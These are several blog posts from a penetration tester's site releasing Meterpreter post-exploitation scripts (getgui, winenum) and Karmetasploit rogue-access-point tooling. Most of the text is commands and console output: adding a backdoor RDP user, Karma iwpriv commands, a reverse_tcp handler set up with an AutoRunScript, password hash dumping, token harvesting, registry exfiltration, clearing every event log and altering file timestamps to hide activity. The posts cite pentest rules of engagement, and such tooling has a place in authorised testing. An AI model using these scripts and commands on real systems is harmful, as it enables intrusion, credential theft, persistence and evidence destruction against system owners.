Meterpreter Script for RDP Configuration on Target

January 02, 2009 by Carlos Perez

For those time when you just need GUI
I tested the script in Windows XP, Windows 2003, Windows Vista and Windows 2008 let me know if you like it.
/getgui.tar.gz
Example:

meterpreter > run getgui -u SUPPORT_3028 -p P@ssword
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  Terminasl Services service is already set to auto
[*]  Opening port in local firewall if necessary
[*] Setting user account for logon
[*]  Adding User: SUPPORT_3028 with Password: P@ssword
[*]  Adding User: SUPPORT_3028 to local group Remote Desktop Users
[*] You can now login with the created user
meterpreter >

DiGiNinga Karma Patch for Atheros Cards ROCKS!!!!

December 28, 2008 by Carlos Perez

I have been playing with the karma patch that DiGiNinja coded for the Madwifi-ng kernel modules for Atheros wireless cards. This allows us to set our Atheros wireless card to respond to any request broadcast from wireless client as if we are the AP they are looking for, in addition we will broadcast the SSID as if we are the AP to see if any other client in the area is looking for the network. This patched kernel modules are in BT3 and in iPwn OS that HD Moore uses for his mobile laptops, and I have to say this patch is a must for any serius pentester. I decided to make an lzm for Backtrack 3 after being foolish enough to over write the modules with a clean install of madwifi.
The features that it adds are as follows:

Karma functionality
SSID Blacklist and Whitelist
MacAddress Blacklist and Whitelist

As a pentester this gives you the flexibility to target your attacks and be able to follow strict Rules of Engagement allowing you to only attack machines wich you are allowed to attack, the SSID's and MAC's can be added dynamically so you do not have to stop your attack. The commands that I found are as follows:
Enabling and Disabling Karma:

iwpriv atho karma 1 (Enable Karma)
iwpriv ath0 karma 0 (Disable Karma)
iwpriv ath0 get_karma (Get status of Karma)

MAC Address Whitelisting and Blacklisting:

iwpriv ath0 maccmd 1 (Sets the card in whitelist mode)
iwpriv ath0 maccmd 2 (Sets the card in Blacklist mode)
iwpriv ath0 maccmd 0 (Disable all MAC filtering modes)
iwpriv ath0 addmac (Adds mac address to the list)
iwpriv ath0 kickmac (Removes MAC Address form the list)
iwpriv ath0 maccmd 3 (Clears the entire MAC Address list)

SSID Whitelisting and Blacklisting:

iwpriv ath0 karma_bw 0 (Sets the card in Blacklist mode)
iwpriv ath0 karma_bw 1 (Sets the card in Whitelist mode)
iwpriv ath0 get_karma_bw (Get status of Blacklisting and Whitelisting Mode)
iwpriv ath0 addkarmassid (Adds SSID to the list)
iwpriv ath0 clrkarmalist 0 (Clears SSID List)

Updated Karmetasploit Attack Script

December 28, 2008 by Carlos Perez

Here is the version of the script that will use the DigiNinja Karma patch for atheros, I find it a more flexible and reliable alternative to airbase-ng, but it will be limited to atheros cards for all other aircrack supported cards the modes that use airbase-ng can be used, plus fixed the path issue with Metasploit. Hope you guys like it. Here is the link to the script with the changes:
/kmsapng.tar.gz
if you changed the kernel modules of your BT3 install you can get the patched modules of madwifi with digininja's karma patch and the patch from aircrack-ng here:
/madwifi-r37 … g-patc.lzm
I do have to say that digininjas karma patch is a must for anyone using an atheros card and is doing wireless client side attacks.

Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.3
carlos_perez[at]darkoperator.com
usage: kmsap.sh 
Options:
-m         : Every mode is a different approach of the attack.
                       km     for regular karmetasploit attack using airbase-ng
                       kmf    for filtered attack where only targeted
                              clients can associate to the fake AP using the
                              filter file.
                       kma    for karmetasploit attack using DigiNinja patched
                              madwifi drivers.
                       kmaf   for karmetasploit attack using DigiNinja patched
                              madwifi drivers and mac address filtering.
-i    : Interface supported by aircrack-ng for injection
-f  : Text file with mac addresses of client computers
                 permited to connect to the fake AP used with kmf and
                       kmaf modes, on mac address per line.
-s         : SSID name used as the initial broadcast
-r  : Metasploit Resource Script (Optional)
-h               : This help message
Note: mode and interface are required for all types of attacks and -f for filtered attacks

Updated Winenum Script

December 22, 2008 by Carlos Perez

Finally got the script to work with AutoRunScript in Meterpreter, plus added automatic process migration for client side exploits where the program holding the meterpreter session is closed.

/winenum.tar.gz
meterpreter > run winenum -h
Windows Local Enumerion Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Usage:

-h This help message.

-m Migrates the Meterpreter Session from it current process to a new one

-c Changes Access Time, Modified Time and Created Time of executables
that where run on the target machine and clear the EventLog

-r Dumps, compresses and download entire Registry

resource> use exploit/multi/handler
resource> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST 192.168.1.108
LHOST => 192.168.1.108
resource> set LPORT 4444
LPORT => 4444
resource> set AutoRunScript /msf3/scripts/meterpreter/winenumng.rb -r -m -c
AutoRunScript => /msf3/scripts/meterpreter/winenumng.rb -r -m -c
resource> exploit
[*] Handler binding to LHOST 192.168.1.108
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Launching hidden cmd.exe...
[*] Process 3672 created.
[*] Current process is grinder.exe (1988). Migrating to 3672.
[*] Migration completed successfully.
[*] New server process: cmd.exe (3672)
[*] Running Windows Local Enumerion Meterpreter Script by Darkoperator
[*] New session on 192.168.1.147:1079...
[*] Saving report to /tmp/192.168.1.147_20081222.441181627
[*] Checking if WIN2K301 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine
[*] This is a VMWare virtual Machine
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command arp -a
[*] running command ipconfig /all
[*] running command ipconfig /displaydns
[*] running command route print
[*] running command net view
[*] running command netstat -na
[*] running command netstat -ns
[*] running command net share
[*] running command net group
[*] running command net user
[*] running command net localgroup
[*] running command net view /domain
[*] running command netsh firewall show config
[*] running command tasklist /svc
[*] Running WMIC Commands ....
[*] running command wimic computersystem list
[*] running command wimic useraccount list
[*] running command wimic group
[*] running command wimic service list brief
[*] running command wimic volume list brief
[*] running command wimic process list brief
[*] running command wimic startup list full
[*] running command wimic qfe
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Dumping and Downloading the Registry
[*] Exporting HKCU
[*] Compressing HKCU into cab file for faster download
[*] Exporting HKLM
[*] Compressing HKLM into cab file for faster download
[*] Exporting HKCC
[*] Compressing HKCC into cab file for faster download
[*] Exporting HKCR
[*] Compressing HKCR into cab file for faster download
[*] Exporting HKU
[*] Compressing HKU into cab file for faster download
[*] Downloading HKCU.cab to -> /tmp/192.168.1.147-HKCU.cab
[*] Downloading HKLM.cab to -> /tmp/192.168.1.147-HKLM.cab
[*] Downloading HKCC.cab to -> /tmp/192.168.1.147-HKCC.cab
[*] Downloading HKCR.cab to -> /tmp/192.168.1.147-HKCR.cab
[*] Downloading HKU.cab to -> /tmp/192.168.1.147-HKU.cab
[*] Deleting left over files
[*] Clearing Event Logs, this will leave and event 517
[*] Clearing the security Event Log
[*] Clearing the system Event Log
[*] Clearing the application Event Log
[*] Clearing the directory service Event Log
[*] Clearing the dns server Event Log
[*] Clearing the file replication service Event Log
[*] Alll Event Logs have been cleared
[*] Changing Access Time, Modified Time and Created Time of Files Used
[*] Changing file MACE attributes on C:\WINDOWS\system32\cmd.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\reg.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\ipconfig.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\route.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\net.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\netstat.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\netsh.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\makecab.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\tasklist.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\wbem\wmic.exe
[*] Done!
[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.147:1079)

meterpreter >

Re-Wrote Winenum and added New Features to it

November 30, 2008 by Carlos Perez

I just re-wrote the entire script and made it more modular, with better error handling and added anti-forensic features (Optional depending on the Rules of Engagement) and also added a check for detecting if the target machine is a VM for VMware or Virtual Box (Hyper-v and Citrix Xen will be added soon) The script has to be placed in the scripts/meterpreter/ folder in the root of the metasploit folder so to be able to use it.

/winenum2.rb.tar.gz

The script will do the following:

Execute on the host and get the output for:

* set
* arp -a
* ipconfig /all
* ipconfig /displaydns
* route print
* net view
* netstat -na
* netstat -ns
* net share
* net view
* net group
* net user
* net localgroup
* net view /domain
* netsh firewall show config
* wmic computersystem list
* wmic useraccount list
* wmic group
* wmic service list brief
* wmic volume list brief
* wmic process list brief
* wmic startup list full
* wmic qfe

It will also :
* Check if the target machine is a VMware or Virtual Box VM
* Run meterpreter hashdump
* List all tokens on the server that can be used with Incognito
* export, compress and download all registry hives
* Clear all event logs
* Change the MACE of the executables used on the host.

Here is some output from meterpreter

meterpreter > run winenum2
Windows Local Enumerion Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Usage:

-h This help message.

-a Run all commands including clearing event log and changing the
Changing Access Time, Modified Time and Created Time of executables
that where run on the target machine

-m Run all commands minus clearing the event logs and changing the MACE
of executables that where run in the target machine.
meterpreter >
meterpreter > run winenum2 -a
[*] Running Windows Local Enumeration Meterpreter Script by Darkoperator
[*] New session on 10.10.10.23:1149...
[*] Saving report to /tmp/10.10.10.23_20081130.270505021
[*] Checking if WINXPVM01 is a Virtual Machine ........
[*] This is a VMWare virtual Machine
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command arp -a
[*] running command ipconfig /all
[*] running command ipconfig /displaydns
[*] running command route print
[*] running command net view
[*] running command netstat -na
[*] running command netstat -ns
[*] running command net share
[*] running command net group
[*] running command net user
[*] running command net localgroup
[*] running command net view /domain
[*] running command netsh firewall show config
[*] running command tasklist /svc
[*] Running WMIC Commands ....
[*] running command wimic computersystem list
[*] running command wimic useraccount list
[*] running command wimic group
[*] running command wimic service list brief
[*] running command wimic volume list brief
[*] running command wimic process list brief
[*] running command wimic startup list full
[*] running command wimic qfe
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Dumping and Downloading the Registry
[*] Exporting HKCU
[*] Compressing HKCU into cab file for faster download
[*] Exporting HKLM
[*] Compressing HKLM into cab file for faster download
[*] Exporting HKCC
[*] Compressing HKCC into cab file for faster download
[*] Exporting HKCR
[*] Compressing HKCR into cab file for faster download
[*] Exporting HKU
[*] Compressing HKU into cab file for faster download
[*] Downloading HKCU.cab to -> /tmp/HKCU.cab
[*] Downloading HKLM.cab to -> /tmp/HKLM.cab
[*] Downloading HKCC.cab to -> /tmp/HKCC.cab
[*] Downloading HKCR.cab to -> /tmp/HKCR.cab
[*] Downloading HKU.cab to -> /tmp/HKU.cab
[*] Deleting left over files
[*] Clearing Event Logs, this will leave and event 517
[*] Clearing the security Event Log
[*] Clearing the system Event Log
[*] Clearing the application Event Log
[*] Clearing the directory service Event Log
[*] Clearing the dns server Event Log
[*] Clearing the file replication service Event Log
[*] Alll Event Logs have been cleared
[*] Changing Access Time, Modified Time and Created Time of Files Used
[*] Changing file MACE attributes on C:\WINDOWS\system32\cmd.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\reg.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\ipconfig.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\route.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\net.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\netstat.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\netsh.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\makecab.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\tasklist.exe
[*] Changing file MACE attributes on C:\WINDOWS\system32\wbem\wmic.exe
[*] Done!

I hope you guys find it useful.